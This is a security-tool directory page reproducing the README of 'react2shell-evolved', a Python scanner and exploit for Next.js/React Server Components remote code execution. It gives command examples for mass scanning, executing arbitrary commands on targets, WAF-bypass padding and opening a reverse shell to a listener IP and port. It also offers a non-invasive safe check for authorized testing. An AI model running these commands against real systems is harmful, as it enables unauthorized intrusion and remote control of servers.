Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-evolved — A evolved version of assetnote CVE-2025-55182 scanner | Kitploit
Tools/GitHubGitHub/guiimoraes/react2shell-evolved
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassPenetration TestingRed TeamingRemote Access Tool
GitHubguiimoraes/react2shell-evolved

react2shell-evolved

A evolved version of assetnote CVE-2025-55182 scanner

View Repository
217 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

React2Shell Scanner

High Fidelity Detection for RSC/Next.js RCE

Scanner for detecting Remote Code Execution (RCE) vulnerabilities in React Server Components and Next.js applications.

About

React2Shell Scanner is a specialized tool for identifying Remote Code Execution (RCE) vulnerabilities in applications that use React Server Components (RSC) and Next.js. The tool detects vulnerabilities related to the following CVEs:

  • CVE-2025-55182
  • CVE-2025-66478

The tool performs high-fidelity checks using side-channel detection and RCE proof-of-concept, with the ability to extract dynamic results from executed commands through automatic parsing of HTTP responses.

This is an edited version by @imguimoraes of the original scanner developed by the Assetnote Security Research Team. The original RCE PoC was created by @maple3142.

Features

  • High-fidelity detection using side-channel and RCE PoC
  • Multi-threaded scanning for mass scanning
  • Dynamic extraction of executed command results (automatic parsing of headers and response body)
  • WAF bypass with configurable random data
  • Support for Windows (PowerShell) and Linux/Unix (shell)
  • Structured JSON output for later analysis
  • Automatic redirect following
  • Interface with progress bar and colored output

Installation

Requirements

  • Python 3.8 or higher
  • pip (Python package manager)

Installation of Dependencies

root@kitploit:~
pip install requests tqdm

Or using the requirements.txt file:

root@kitploit:~
pip install -r requirements.txt

Usage

Basic Syntax

root@kitploit:~
python scanner.py [-u URL | -l FILE] [options]

Check a single URL

root@kitploit:~
python scanner.py -u https://example.com

Check multiple URLs

root@kitploit:~
python scanner.py -l hosts.txt

Command Line Options

Input Options (one required)

OptionDescription
-u, --url URLSingle URL or host to check
-l, --list FILEFile containing list of hosts (one per line)

Execution Options

OptionDescription
-t, --threads NNumber of concurrent threads (default: 10)
--timeout SECONDSRequest timeout in seconds (default: 10)
-k, --insecureDisable SSL certificate verification (enabled by default)

Output Options

Header Options

OptionDescription
-H, --header "Key: Value"Add custom HTTP header (can be used multiple times)

Exploit Options

Usage Examples

Example 1: Basic scan of a host

root@kitploit:~
python scanner.py -u https://target.com

Example 2: Mass scan with multiple threads

root@kitploit:~
python scanner.py -l targets.txt -t 50 --timeout 15

Example 3: Scan with JSON output

root@kitploit:~
python scanner.py -l targets.txt -o results.json --all-results

Example 4: Scan with custom headers

root@kitploit:~
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Example 5: Scan with custom payload

root@kitploit:~
python scanner.py -u https://target.com --payload "whoami"

Example 6: Scan with WAF bypass

root@kitploit:~
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Example 7: Scan in Windows environment

root@kitploit:~
python scanner.py -u https://target.com --windows --payload "whoami"

Example 8: Scan with safe check (non-invasive)

root@kitploit:~
python scanner.py -l targets.txt --safe-check

Example 9: Full verbose scan

root@kitploit:~
python scanner.py -l targets.txt -v --all-results -o full_scan.json

Example 10: Establish reverse shell

root@kitploit:~
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Output Format

Terminal Output

The scanner displays results with color codes indicating the status:

  • [VULNERABLE] - Vulnerable host (red)
  • [NOT VULNERABLE] - Non-vulnerable host (green)
  • [ERROR] - Error during verification (yellow)

For vulnerable hosts, the executed command result is displayed when available through automatic extraction of the X-Action-Redirect header or the response body.

JSON Format

When the -o option is used, the output is saved in JSON format with the following structure:

root@kitploit:~
{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Result fields:

  • vulnerable: true if vulnerable, false if not vulnerable, null if error occurred
  • command_result: Result of executed command extracted from response (when available)
  • final_url: Final tested URL (after redirect following if enabled)
  • status_code: HTTP status code of response
  • request: Full HTTP request sent
  • response: HTTP response received (first 2000 characters)
  • error: Error message if any
  • timestamp: UTC timestamp of check

Technical Features

Detection Methods

The scanner offers two detection methods:

  1. Safe Check (--safe-check): Non-invasive side-channel detection that checks error patterns in the response without executing code. Useful for initial scan without impact.

  2. RCE PoC: Actual remote code execution with dynamic extraction of results. Uses Node.js child_process-based payloads for system command execution.

Result Extraction

The scanner performs automatic parsing of HTTP responses to extract executed command results:

  • Extraction from X-Action-Redirect header (format: NEXT_REDIRECT;push;/login?a=<result>;307;)
  • Extraction from response body (format: E{"digest":"<result>"} or 1:E{"digest":"<result>"})
  • Works with any custom command/payload via the --payload parameter

Extraction is performed dynamically, not relying on fixed values, allowing validation of any command execution.

WAF Bypass

When the --waf-bypass option is used:

  • Adds random data (junk data) to the beginning of the multipart/form-data payload
  • Configurable size via --waf-bypass-size (default: 128KB)
  • Useful for bypassing WAF filters that inspect request body content
  • Timeout is automatically increased to 20 seconds when WAF bypass is active

Custom Payloads

The --payload parameter allows specifying any command to be executed:

  • Default: echo $((41*271)) (result: 11111)
  • Windows: Use PowerShell commands when --windows is active
  • Linux/Unix: Use standard shell commands

The command result is automatically extracted and displayed, regardless of the returned value.

Reverse Shell

The --reverse-shell option allows establishing a reverse shell connection:

  • Format: IP:PORT (example: 192.168.1.100:4444)
  • Uses Node.js net and child_process modules
  • For Windows: spawns powershell.exe
  • For Linux/Unix: spawns /bin/sh

Legal and Ethical Notices

This tool is intended exclusively for educational purposes and authorized security testing.

  • Use only on systems you own or have explicit written permission to test
  • Unauthorized use of this tool is illegal and may result in criminal liability
  • The developers assume no responsibility for the misuse of this tool
  • Always obtain written authorization before conducting penetration tests
  • Respect applicable laws and regulations in your jurisdiction

Credits

Original Exploit

The original RCE exploit was created by @maple3142.

Original Scanner

The original scanner was developed by the Assetnote Security Research Team:

  • Repository: https://github.com/assetnote/react2shell-scanner/
  • Website: https://www.assetnote.io/

This Version

This edited version maintains the original scanner's functionality with additional improvements:

  • Dynamic extraction of command results (automatic response parsing)
  • Support for custom commands with result extraction
  • Removal of Vercel Bypass (Patched in ??/??/2025)
  • Reverse Shell System (Crash-Friendly)

Edited by: guiimoraes

Related CVEs

  • CVE-2025-55182
  • CVE-2025-66478

If you find bugs or have suggestions for improvements, please open an issue in the repository describing the problem in detail.

Download Tool
OptionDescription
-o, --output FILEOutput file for results in JSON format
--all-resultsSave all results to file, not only vulnerable ones
-v, --verboseVerbose output (shows response snippets for analysis)
-q, --quietQuiet mode (shows only vulnerable hosts)
--no-colorDisable colored output
OptionDescription
--safe-checkUse safe side-channel detection instead of RCE PoC (does not execute code)
--windowsUse PowerShell payload instead of Unix shell (for Windows environments)
--waf-bypassAdd random data to payload for WAF bypass (default: 128KB)
--waf-bypass-size KBSize of random data in KB for WAF bypass (default: 128)
--payload COMMANDCustom command to execute via RCE (default: echo $((41*271)))
--reverse-shell IP:PORTCreate reverse shell connection to specified IP:PORT